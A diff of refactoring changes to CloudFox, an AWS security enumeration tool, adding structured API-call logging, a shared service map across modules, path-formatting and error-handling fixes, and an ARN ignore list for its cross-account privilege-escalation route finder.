for {
|
||||
ListQueues, err := SQSClient.ListQueues(
|
||||
|
||||
+13
-1
@@ -9,6 +9,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/ssm"
|
||||
"github.com/aws/aws-sdk-go-v2/service/ssm/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type AWSSSMClientInterface interface {
|
||||
@@ -26,9 +27,20 @@ func CachedSSMDescribeParameters(SSMClient AWSSSMClientInterface, accountID stri
|
||||
cacheKey := fmt.Sprintf("%s-ssm-DescribeParameters-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.Debug("Using cached SSM parameters data")
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ssm:DescribeParameters",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]types.ParameterMetadata), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ssm:DescribeParameters",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
DescribeParameters, err := SSMClient.DescribeParameters(
|
||||
|
||||
@@ -9,6 +9,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/sfn"
|
||||
sfnTypes "github.com/aws/aws-sdk-go-v2/service/sfn/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type StepFunctionsClientInterface interface {
|
||||
@@ -25,8 +26,20 @@ func CachedStepFunctionsListStateMachines(client StepFunctionsClientInterface, a
|
||||
cacheKey := fmt.Sprintf("%s-stepfunctions-ListStateMachines-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "states:ListStateMachines",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]sfnTypes.StateMachineListItem), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "states:ListStateMachines",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
ListStateMachines, err := client.ListStateMachines(
|
||||
context.TODO(),
|
||||
|
||||
+9
-4
@@ -30,6 +30,7 @@ type SecretsModule struct {
|
||||
WrapTable bool
|
||||
AWSOutputType string
|
||||
AWSTableCols string
|
||||
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
|
||||
|
||||
// Main module data
|
||||
Secrets []Secret
|
||||
@@ -192,10 +193,14 @@ func (m *SecretsModule) Receiver(receiver chan Secret, receiverDone chan bool) {
|
||||
func (m *SecretsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Secret) {
|
||||
defer wg.Done()
|
||||
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
// Use shared ServiceMap instance if provided, otherwise create a new one
|
||||
servicemap := m.ServiceMap
|
||||
if servicemap == nil {
|
||||
servicemap = &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
}
|
||||
res, err := servicemap.IsServiceInRegion("secretsmanager", r)
|
||||
res, err := servicemap.IsServiceInRegion("secrets-manager", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
@@ -204,7 +209,7 @@ func (m *SecretsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore ch
|
||||
wg.Add(1)
|
||||
go m.getSecretsManagerSecretsPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
res, err = servicemap.IsServiceInRegion("ssm", r)
|
||||
res, err = servicemap.IsServiceInRegion("systems-manager", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
|
||||
+8
-8
@@ -100,19 +100,19 @@ func generatePmapperDataBasePaths(accountId *string) (string, string) {
|
||||
if err != nil {
|
||||
log.Fatal("Could not get homedir")
|
||||
}
|
||||
edgesPath = fmt.Sprintf(dir + "/Library/Application Support/com.nccgroup.principalmapper/" + aws.ToString(accountId) + "/graph/edges.json")
|
||||
nodesPath = fmt.Sprintf(dir + "/Library/Application Support/com.nccgroup.principalmapper/" + aws.ToString(accountId) + "/graph/nodes.json")
|
||||
edgesPath = fmt.Sprintf("%s/Library/Application Support/com.nccgroup.principalmapper/%s/graph/edges.json", dir, aws.ToString(accountId))
|
||||
nodesPath = fmt.Sprintf("%s/Library/Application Support/com.nccgroup.principalmapper/%s/graph/nodes.json", dir, aws.ToString(accountId))
|
||||
|
||||
} else if runtime.GOOS == "linux" || runtime.GOOS == "freebsd" || runtime.GOOS == "openbsd" {
|
||||
xdg, ok := os.LookupEnv("XDG_DATA_HOME")
|
||||
if ok {
|
||||
edgesPath = fmt.Sprintf(xdg + aws.ToString(accountId) + "/graph/edges.json")
|
||||
nodesPath = fmt.Sprintf(xdg + aws.ToString(accountId) + "/graph/nodes.json")
|
||||
edgesPath = fmt.Sprintf("%s%s/graph/edges.json", xdg, aws.ToString(accountId))
|
||||
nodesPath = fmt.Sprintf("%s%s/graph/nodes.json", xdg, aws.ToString(accountId))
|
||||
} else {
|
||||
dir, err := os.UserHomeDir()
|
||||
if err == nil {
|
||||
edgesPath = fmt.Sprintf(dir + "/.local/share/principalmapper/" + aws.ToString(accountId) + "/graph/edges.json")
|
||||
nodesPath = fmt.Sprintf(dir + "/.local/share/principalmapper/" + aws.ToString(accountId) + "/graph/nodes.json")
|
||||
edgesPath = fmt.Sprintf("%s/.local/share/principalmapper/%s/graph/edges.json", dir, aws.ToString(accountId))
|
||||
nodesPath = fmt.Sprintf("%s/.local/share/principalmapper/%s/graph/nodes.json", dir, aws.ToString(accountId))
|
||||
} else {
|
||||
log.Fatal("Could not homedir.")
|
||||
}
|
||||
@@ -123,8 +123,8 @@ func generatePmapperDataBasePaths(accountId *string) (string, string) {
|
||||
if err != nil {
|
||||
log.Fatal("Could not get userconfigdir")
|
||||
}
|
||||
edgesPath = fmt.Sprintf(dir + "\\principalmapper" + aws.ToString(accountId) + "\\graph\\edges.json")
|
||||
nodesPath = fmt.Sprintf(dir + "\\principalmapper" + aws.ToString(accountId) + "\\graph\\nodes.json")
|
||||
edgesPath = fmt.Sprintf("%s\\principalmapper%s\\graph\\edges.json", dir, aws.ToString(accountId))
|
||||
nodesPath = fmt.Sprintf("%s\\principalmapper%s\\graph\\nodes.json", dir, aws.ToString(accountId))
|
||||
|
||||
}
|
||||
|
||||
|
||||
+7
-2
@@ -34,6 +34,7 @@ type SNSModule struct {
|
||||
|
||||
Goroutines int
|
||||
WrapTable bool
|
||||
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
|
||||
|
||||
// Main module data
|
||||
Topics []SNSTopic
|
||||
@@ -192,8 +193,12 @@ func (m *SNSModule) PrintSNS(outputDirectory string, verbosity int) {
|
||||
func (m *SNSModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan SNSTopic) {
|
||||
defer wg.Done()
|
||||
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
// Use shared ServiceMap instance if provided, otherwise create a new one
|
||||
servicemap := m.ServiceMap
|
||||
if servicemap == nil {
|
||||
servicemap = &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
}
|
||||
res, err := servicemap.IsServiceInRegion("sns", r)
|
||||
if err != nil {
|
||||
|
||||
+7
-2
@@ -36,6 +36,7 @@ type SQSModule struct {
|
||||
Goroutines int
|
||||
AWSProfile string
|
||||
WrapTable bool
|
||||
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
|
||||
|
||||
// Main module data
|
||||
Queues []Queue
|
||||
@@ -194,8 +195,12 @@ func (m *SQSModule) PrintSQS(outputDirectory string, verbosity int) {
|
||||
|
||||
func (m *SQSModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Queue) {
|
||||
defer wg.Done()
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
// Use shared ServiceMap instance if provided, otherwise create a new one
|
||||
servicemap := m.ServiceMap
|
||||
if servicemap == nil {
|
||||
servicemap = &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
}
|
||||
res, err := servicemap.IsServiceInRegion("sqs", r)
|
||||
if err != nil {
|
||||
|
||||
+8
-4
@@ -3,7 +3,6 @@ package aws
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"log"
|
||||
"path/filepath"
|
||||
"sort"
|
||||
"strconv"
|
||||
@@ -46,6 +45,7 @@ type WorkloadsModule struct {
|
||||
|
||||
iamSimClient IamSimulatorModule
|
||||
InstanceProfileToRolesMap map[string][]iamTypes.Role
|
||||
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
|
||||
|
||||
// Main module data
|
||||
Workloads []Workload
|
||||
@@ -271,8 +271,12 @@ func (m *WorkloadsModule) Receiver(receiver chan Workload, receiverDone chan boo
|
||||
|
||||
func (m *WorkloadsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Workload) {
|
||||
defer wg.Done()
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
// Use shared ServiceMap instance if provided, otherwise create a new one
|
||||
servicemap := m.ServiceMap
|
||||
if servicemap == nil {
|
||||
servicemap = &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
}
|
||||
|
||||
res, _ := servicemap.IsServiceInRegion("ec2", r)
|
||||
@@ -345,7 +349,7 @@ func (m *WorkloadsModule) getEC2WorkloadsPerRegion(r string, wg *sync.WaitGroup,
|
||||
// Describe the IAM instance profile
|
||||
profileOutput, err := sdk.CachedIamGetInstanceProfile(m.IAMClient, aws.ToString(m.Caller.Account), profileName)
|
||||
if err != nil {
|
||||
log.Printf("failed to get instance profile for %s, %v", profileArn, err)
|
||||
m.modLog.Errorf("failed to get instance profile for %s, %v", profileArn, err)
|
||||
continue
|
||||
}
|
||||
|
||||
|
||||
+243
-118
@@ -2,11 +2,13 @@ package cli
|
||||
|
||||
import (
|
||||
"encoding/gob"
|
||||
"errors"
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/aws/aws-sdk-go-v2/service/kms"
|
||||
|
||||
"github.com/BishopFox/cloudfox/aws"
|
||||
"github.com/BishopFox/cloudfox/aws/sdk"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
@@ -60,6 +62,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/sqs"
|
||||
"github.com/aws/aws-sdk-go-v2/service/ssm"
|
||||
"github.com/aws/smithy-go/ptr"
|
||||
"github.com/bishopfox/awsservicemap"
|
||||
"github.com/bishopfox/knownawsaccountslookup"
|
||||
"github.com/dominikbraun/graph"
|
||||
"github.com/fatih/color"
|
||||
@@ -138,9 +141,10 @@ var (
|
||||
PostRun: awsPostRun,
|
||||
}
|
||||
|
||||
CapeAdminOnly bool
|
||||
CapeJobName string
|
||||
CapeCommand = &cobra.Command{
|
||||
CapeAdminOnly bool
|
||||
CapeArnIgnoreList string
|
||||
CapeJobName string
|
||||
CapeCommand = &cobra.Command{
|
||||
Use: "cape",
|
||||
Aliases: []string{"CAPE"},
|
||||
Short: "Cross-Account Privilege Escalation Route finder. Needs to be run with multiple profiles using -l or -a flag. Needs pmapper data to be present",
|
||||
@@ -263,10 +267,11 @@ var (
|
||||
PostRun: awsPostRun,
|
||||
}
|
||||
|
||||
SimulatorResource string
|
||||
SimulatorAction string
|
||||
SimulatorPrincipal string
|
||||
IamSimulatorCommand = &cobra.Command{
|
||||
SimulatorResource string
|
||||
SimulatorAction string
|
||||
SimulatorPrincipal string
|
||||
IamSimulatorAdminCheckOnly bool
|
||||
IamSimulatorCommand = &cobra.Command{
|
||||
Use: "iam-simulator",
|
||||
Aliases: []string{"iamsimulator", "simulator"},
|
||||
Short: "Wrapper around the AWS IAM Simulate Principal Policy command",
|
||||
@@ -405,7 +410,8 @@ var (
|
||||
PostRun: awsPostRun,
|
||||
}
|
||||
|
||||
ResourceTrustsCommand = &cobra.Command{
|
||||
ResourceTrustsIncludeKms bool
|
||||
ResourceTrustsCommand = &cobra.Command{
|
||||
Use: "resource-trusts",
|
||||
Aliases: []string{"resourcetrusts", "resourcetrust"},
|
||||
Short: "Enumerate all resource trusts",
|
||||
@@ -519,7 +525,7 @@ var (
|
||||
func initAWSProfiles() {
|
||||
// Ensure only one profile setting is chosen
|
||||
if AWSProfile != "" && AWSProfilesList != "" || AWSProfile != "" && AWSAllProfiles || AWSProfilesList != "" && AWSAllProfiles {
|
||||
log.Fatalf("[-] Error specifying AWS profiles. Choose only one of -p/--profile, -a/--all-profiles, -l/--profiles-list")
|
||||
internal.TxtLog.Fatalf("[-] Error specifying AWS profiles. Choose only one of -p/--profile, -a/--all-profiles, -l/--profiles-list")
|
||||
} else if AWSProfile != "" {
|
||||
AWSProfiles = append(AWSProfiles, AWSProfile)
|
||||
} else if AWSProfilesList != "" {
|
||||
@@ -564,7 +570,7 @@ func awsPreRun(cmd *cobra.Command, args []string) {
|
||||
cacheDirectory := filepath.Join(AWSOutputDirectory, "cached-data", "aws", ptr.ToString(caller.Account))
|
||||
err = internal.LoadCacheFromGobFiles(cacheDirectory)
|
||||
if err != nil {
|
||||
if err == internal.ErrDirectoryDoesNotExist {
|
||||
if errors.Is(err, internal.ErrDirectoryDoesNotExist) {
|
||||
fmt.Printf("[%s][%s] No cache directory for %s. Skipping loading cached data.\n", cyan(emoji.Sprintf(":fox:cloudfox v%s :fox:", cmd.Root().Version)), cyan(profile), ptr.ToString(caller.Account))
|
||||
} else {
|
||||
fmt.Printf("[%s][%s] No cache data for %s. Error: %v\n", cyan(emoji.Sprintf(":fox:cloudfox v%s :fox:", cmd.Root().Version)), cyan(profile), ptr.ToString(caller.Account), err)
|
||||
@@ -606,11 +612,11 @@ func awsPostRun(cmd *cobra.Command, args []string) {
|
||||
outputDirectory := filepath.Join(AWSOutputDirectory, "cached-data", "aws", ptr.ToString(caller.Account))
|
||||
err = internal.SaveCacheToGobFiles(outputDirectory, *caller.Account)
|
||||
if err != nil {
|
||||
log.Fatalf("failed to save cache: %v", err)
|
||||
internal.TxtLog.Fatalf("failed to save cache: %v", err)
|
||||
}
|
||||
err = internal.SaveCacheToFiles(outputDirectory, *caller.Account)
|
||||
if err != nil {
|
||||
log.Fatalf("failed to save cache: %v", err)
|
||||
internal.TxtLog.Fatalf("failed to save cache: %v", err)
|
||||
}
|
||||
|
||||
fmt.Printf("[%s][%s] Cached AWS data written to %s\n", cyan(emoji.Sprintf(":fox:cloudfox v%s :fox:", cmd.Root().Version)), cyan(profile), outputDirectory)
|
||||
@@ -631,7 +637,7 @@ func FindOrgMgmtAccountAndReorderAccounts(AWSProfiles []string, version string)
|
||||
cacheDirectory := filepath.Join(AWSOutputDirectory, "cached-data", "aws", ptr.ToString(caller.Account))
|
||||
err = internal.LoadCacheFromGobFiles(cacheDirectory)
|
||||
if err != nil {
|
||||
if err == internal.ErrDirectoryDoesNotExist {
|
||||
if errors.Is(err, internal.ErrDirectoryDoesNotExist) {
|
||||
fmt.Printf("[%s][%s] No cache directory for %s. Skipping loading cached data.\n", cyan(emoji.Sprintf(":fox:cloudfox v%s :fox:", version)), cyan(profile), ptr.ToString(caller.Account))
|
||||
} else {
|
||||
fmt.Printf("[%s][%s] No cache data for %s. Error: %v\n", cyan(emoji.Sprintf(":fox:cloudfox v%s :fox:", version)), cyan(profile), ptr.ToString(caller.Account), err)
|
||||
@@ -682,6 +688,9 @@ func runAccessKeysCommand(cmd *cobra.Command, args []string) {
|
||||
|
||||
func runApiGwCommand(cmd *cobra.Command, args []string) {
|
||||
for _, profile := range AWSProfiles {
|
||||
sharedServiceMap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
caller, err := internal.AWSWhoami(profile, cmd.Root().Version, AWSMFAToken)
|
||||
if err != nil {
|
||||
continue
|
||||
@@ -695,6 +704,7 @@ func runApiGwCommand(cmd *cobra.Command, args []string) {
|
||||
AWSProfile: profile,
|
||||
Goroutines: Goroutines,
|
||||
WrapTable: AWSWrapTable,
|
||||
ServiceMap: sharedServiceMap,
|
||||
}
|
||||
m.PrintApiGws(AWSOutputDirectory, Verbosity)
|
||||
}
|
||||
@@ -725,6 +735,9 @@ func runBucketsCommand(cmd *cobra.Command, args []string) {
|
||||
|
||||
func runCloudformationCommand(cmd *cobra.Command, args []string) {
|
||||
for _, profile := range AWSProfiles {
|
||||
sharedServiceMap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
var AWSConfig = internal.AWSConfigFileLoader(profile, cmd.Root().Version, AWSMFAToken)
|
||||
caller, err := internal.AWSWhoami(profile, cmd.Root().Version, AWSMFAToken)
|
||||
if err != nil {
|
||||
@@ -739,6 +752,7 @@ func runCloudformationCommand(cmd *cobra.Command, args []string) {
|
||||
WrapTable: AWSWrapTable,
|
||||
AWSOutputType: AWSOutputType,
|
||||
AWSTableCols: AWSTableCols,
|
||||
ServiceMap: sharedServiceMap,
|
||||
}
|
||||
m.PrintCloudformationStacks(AWSOutputDirectory, Verbosity)
|
||||
}
|
||||
@@ -746,6 +760,9 @@ func runCloudformationCommand(cmd *cobra.Command, args []string) {
|
||||
|
||||
func runCodeBuildCommand(cmd *cobra.Command, args []string) {
|
||||
for _, profile := range AWSProfiles {
|
||||
sharedServiceMap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
var AWSConfig = internal.AWSConfigFileLoader(profile, cmd.Root().Version, AWSMFAToken)
|
||||
caller, err := internal.AWSWhoami(profile, cmd.Root().Version, AWSMFAToken)
|
||||
if err != nil {
|
||||
@@ -762,6 +779,7 @@ func runCodeBuildCommand(cmd *cobra.Command, args []string) {
|
||||
AWSOutputType: AWSOutputType,
|
||||
AWSTableCols: AWSTableCols,
|
||||
PmapperDataBasePath: PmapperDataBasePath,
|
||||
ServiceMap: sharedServiceMap,
|
||||
}
|
||||
m.PrintCodeBuildProjects(AWSOutputDirectory, Verbosity)
|
||||
}
|
||||
@@ -769,6 +787,9 @@ func runCodeBuildCommand(cmd *cobra.Command, args []string) {
|
||||
|
||||
func runDatabasesCommand(cmd *cobra.Command, args []string) {
|
||||
for _, profile := range AWSProfiles {
|
||||
sharedServiceMap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
var AWSConfig = internal.AWSConfigFileLoader(profile, cmd.Root().Version, AWSMFAToken)
|
||||
caller, err := internal.AWSWhoami(profile, cmd.Root().Version, AWSMFAToken)
|
||||
if err != nil {
|
||||
@@ -786,6 +807,7 @@ func runDatabasesCommand(cmd *cobra.Command, args []string) {
|
||||
WrapTable: AWSWrapTable,
|
||||
AWSOutputType: AWSOutputType,
|
||||
AWSTableCols: AWSTableCols,
|
||||
ServiceMap: sharedServiceMap,
|
||||
}
|
||||
m.PrintDatabases(AWSOutputDirectory, Verbosity)
|
||||
}
|
||||
@@ -793,6 +815,9 @@ func runDatabasesCommand(cmd *cobra.Command, args []string) {
|
||||
|
||||
func runECRCommand(cmd *cobra.Command, args []string) {
|
||||
for _, profile := range AWSProfiles {
|
||||
sharedServiceMap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
var AWSConfig = internal.AWSConfigFileLoader(profile, cmd.Root().Version, AWSMFAToken)
|
||||
caller, err := internal.AWSWhoami(profile, cmd.Root().Version, AWSMFAToken)
|
||||
if err != nil {
|
||||
@@ -807,6 +832,7 @@ func runECRCommand(cmd *cobra.Command, args []string) {
|
||||
WrapTable: AWSWrapTable,
|
||||
AWSOutputType: AWSOutputType,
|
||||
AWSTableCols: AWSTableCols,
|
||||
ServiceMap: sharedServiceMap,
|
||||
}
|
||||
m.PrintECR(AWSOutputDirectory, Verbosity)
|
||||
}
|
||||
@@ -814,6 +840,9 @@ func runECRCommand(cmd *cobra.Command, args []string) {
|
||||
|
||||
func runSQSCommand(cmd *cobra.Command, args []string) {
|
||||
for _, profile := range AWSProfiles {
|
||||
sharedServiceMap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
var AWSConfig = internal.AWSConfigFileLoader(profile, cmd.Root().Version, AWSMFAToken)
|
||||
caller, err := internal.AWSWhoami(profile, cmd.Root().Version, AWSMFAToken)
|
||||
if err != nil {
|
||||
@@ -831,6 +860,7 @@ func runSQSCommand(cmd *cobra.Command, args []string) {
|
||||
WrapTable: AWSWrapTable,
|
||||
AWSOutputType: AWSOutputType,
|
||||
AWSTableCols: AWSTableCols,
|
||||
ServiceMap: sharedServiceMap,
|
||||
}
|
||||
m.PrintSQS(AWSOutputDirectory, Verbosity)
|
||||
}
|
||||
@@ -838,17 +868,32 @@ func runSQSCommand(cmd *cobra.Command, args []string) {
|
||||
|
||||
func runSNSCommand(cmd *cobra.Command, args []string) {
|
||||
for _, profile := range AWSProfiles {
|
||||
sharedServiceMap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
var AWSConfig = internal.AWSConfigFileLoader(profile, cmd.Root().Version, AWSMFAToken)
|
||||
caller, err := internal.AWSWhoami(profile, cmd.Root().Version, AWSMFAToken)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
cloudFoxSNSClient := aws.InitCloudFoxSNSClient(*caller, profile, cmd.Root().Version, Goroutines, AWSWrapTable, AWSMFAToken)
|
||||
cloudFoxSNSClient.PrintSNS(AWSOutputDirectory, Verbosity)
|
||||
m := aws.SNSModule{
|
||||
SNSClient: sns.NewFromConfig(AWSConfig),
|
||||
Caller: *caller,
|
||||
AWSProfile: profile,
|
||||
AWSRegions: internal.GetEnabledRegions(profile, cmd.Root().Version, AWSMFAToken),
|
||||
Goroutines: Goroutines,
|
||||
WrapTable: AWSWrapTable,
|
||||
ServiceMap: sharedServiceMap,
|
||||
}
|
||||
m.PrintSNS(AWSOutputDirectory, Verbosity)
|
||||
}
|
||||
}
|
||||
|
||||
func runEKSCommand(cmd *cobra.Command, args []string) {
|
||||
for _, profile := range AWSProfiles {
|
||||
sharedServiceMap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
var AWSConfig = internal.AWSConfigFileLoader(profile, cmd.Root().Version, AWSMFAToken)
|
||||
caller, err := internal.AWSWhoami(profile, cmd.Root().Version, AWSMFAToken)
|
||||
if err != nil {
|
||||
@@ -867,6 +912,7 @@ func runEKSCommand(cmd *cobra.Command, args []string) {
|
||||
AWSOutputType: AWSOutputType,
|
||||
AWSTableCols: AWSTableCols,
|
||||
PmapperDataBasePath: PmapperDataBasePath,
|
||||
ServiceMap: sharedServiceMap,
|
||||
}
|
||||
m.EKS(AWSOutputDirectory, Verbosity)
|
||||
}
|
||||
@@ -874,6 +920,9 @@ func runEKSCommand(cmd *cobra.Command, args []string) {
|
||||
|
||||
func runEndpointsCommand(cmd *cobra.Command, args []string) {
|
||||
for _, profile := range AWSProfiles {
|
||||
sharedServiceMap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
var AWSConfig = internal.AWSConfigFileLoader(profile, cmd.Root().Version, AWSMFAToken)
|
||||
caller, err := internal.AWSWhoami(profile, cmd.Root().Version, AWSMFAToken)
|
||||
if err != nil {
|
||||
@@ -903,6 +952,7 @@ func runEndpointsCommand(cmd *cobra.Command, args []string) {
|
||||
WrapTable: AWSWrapTable,
|
||||
AWSOutputType: AWSOutputType,
|
||||
AWSTableCols: AWSTableCols,
|
||||
ServiceMap: sharedServiceMap,
|
||||
}
|
||||
m.PrintEndpoints(AWSOutputDirectory, Verbosity)
|
||||
}
|
||||
@@ -910,13 +960,15 @@ func runEndpointsCommand(cmd *cobra.Command, args []string) {
|
||||
|
||||
func runEnvsCommand(cmd *cobra.Command, args []string) {
|
||||
for _, profile := range AWSProfiles {
|
||||
sharedServiceMap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
var AWSConfig = internal.AWSConfigFileLoader(profile, cmd.Root().Version, AWSMFAToken)
|
||||
caller, err := internal.AWSWhoami(profile, cmd.Root().Version, AWSMFAToken)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
m := aws.EnvsModule{
|
||||
|
||||
Caller: *caller,
|
||||
AWSRegions: internal.GetEnabledRegions(profile, cmd.Root().Version, AWSMFAToken),
|
||||
AWSProfile: profile,
|
||||
@@ -930,6 +982,7 @@ func runEnvsCommand(cmd *cobra.Command, args []string) {
|
||||
LambdaClient: lambda.NewFromConfig(AWSConfig),
|
||||
LightsailClient: lightsail.NewFromConfig(AWSConfig),
|
||||
SagemakerClient: sagemaker.NewFromConfig(AWSConfig),
|
||||
ServiceMap: sharedServiceMap,
|
||||
}
|
||||
m.PrintEnvs(AWSOutputDirectory, Verbosity)
|
||||
}
|
||||
@@ -937,6 +990,9 @@ func runEnvsCommand(cmd *cobra.Command, args []string) {
|
||||
|
||||
func runFilesystemsCommand(cmd *cobra.Command, args []string) {
|
||||
for _, profile := range AWSProfiles {
|
||||
sharedServiceMap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
var AWSConfig = internal.AWSConfigFileLoader(profile, cmd.Root().Version, AWSMFAToken)
|
||||
caller, err := internal.AWSWhoami(profile, cmd.Root().Version, AWSMFAToken)
|
||||
if err != nil {
|
||||
@@ -953,6 +1009,7 @@ func runFilesystemsCommand(cmd *cobra.Command, args []string) {
|
||||
WrapTable: AWSWrapTable,
|
||||
AWSOutputType: AWSOutputType,
|
||||
AWSTableCols: AWSTableCols,
|
||||
ServiceMap: sharedServiceMap,
|
||||
}
|
||||
filesystems.PrintFilesystems(AWSOutputDirectory, Verbosity)
|
||||
}
|
||||
@@ -1172,6 +1229,20 @@ func runCapeCommand(cmd *cobra.Command, args []string) {
|
||||
}
|
||||
}
|
||||
|
||||
// if the CapeArnIgnoreList arg is not empty, read the file and add the arns to the CapeArnIgnoreList
|
||||
if CapeArnIgnoreList != "" {
|
||||
// call ReadArnIgnoreListFile and add the arns to the CapeArnIgnoreList
|
||||
arnsToIgnore, err := aws.ReadArnIgnoreListFile(CapeArnIgnoreList)
|
||||
if err != nil {
|
||||
fmt.Println("Error reading the arn ignore list file: " + err.Error())
|
||||
}
|
||||
|
||||
// remove nodes that are in the CapeArnIgnoreList from the graph
|
||||
for _, arn := range arnsToIgnore {
|
||||
GlobalGraph.RemoveVertex(arn)
|
||||
}
|
||||
}
|
||||
|
||||
// make pmapper edges
|
||||
//you can update edges, so we can just merge attributes as needed
|
||||
// first we add the edges that already exist in pmapper, then later we will make more edges based on the cloudfox role trusts logic
|
||||
@@ -1182,7 +1253,7 @@ func runCapeCommand(cmd *cobra.Command, args []string) {
|
||||
graph.EdgeAttribute(edge.ShortReason, edge.Reason),
|
||||
)
|
||||
if err != nil {
|
||||
if err == graph.ErrEdgeAlreadyExists {
|
||||
if errors.Is(err, graph.ErrEdgeAlreadyExists) {
|
||||
// update theedge by copying the existing graph.Edge with attributes and add the new attributes
|
||||
//fmt.Println("Edge already exists")
|
||||
|
||||
@@ -1318,10 +1389,20 @@ func runCapeTUICommand(cmd *cobra.Command, args []string) {
|
||||
if _, err := os.Stat(filepath.Join(cloudfoxRunData.OutputLocation, "json", fileName)); os.IsNotExist(err) {
|
||||
fmt.Printf("[%s] Could not retrieve CAPE data for profile %s.\n", cyan(emoji.Sprintf(":fox:cloudfox v%s :fox:", cmd.Root().Version)), profile)
|
||||
//remove the profile from the list of profiles to analyze
|
||||
AWSProfiles = append(AWSProfiles[:i], AWSProfiles[i+1:]...)
|
||||
if len(AWSProfiles) > 1 {
|
||||
AWSProfiles = append(AWSProfiles[:i], AWSProfiles[i+1:]...)
|
||||
} else {
|
||||
if CapeAdminOnly {
|
||||
fmt.Printf("[%s] Could not retrieve cape data. Did you run cape without the --admin-only flag? You'll need to run cape with --admin-only to use the tui with --admin-only\n", cyan(emoji.Sprintf(":fox:cloudfox v%s :fox:", cmd.Root().Version)))
|
||||
} else {
|
||||
fmt.Printf("[%s] Did you run cape with the --admin-only flag? You'll need to run cape without --admin-only to use the tui without --admin-only\n", cyan(emoji.Sprintf(":fox:cloudfox v%s :fox:", cmd.Root().Version)))
|
||||
}
|
||||
os.Exit(1)
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
if len(capeOutputFileLocations) == 0 {
|
||||
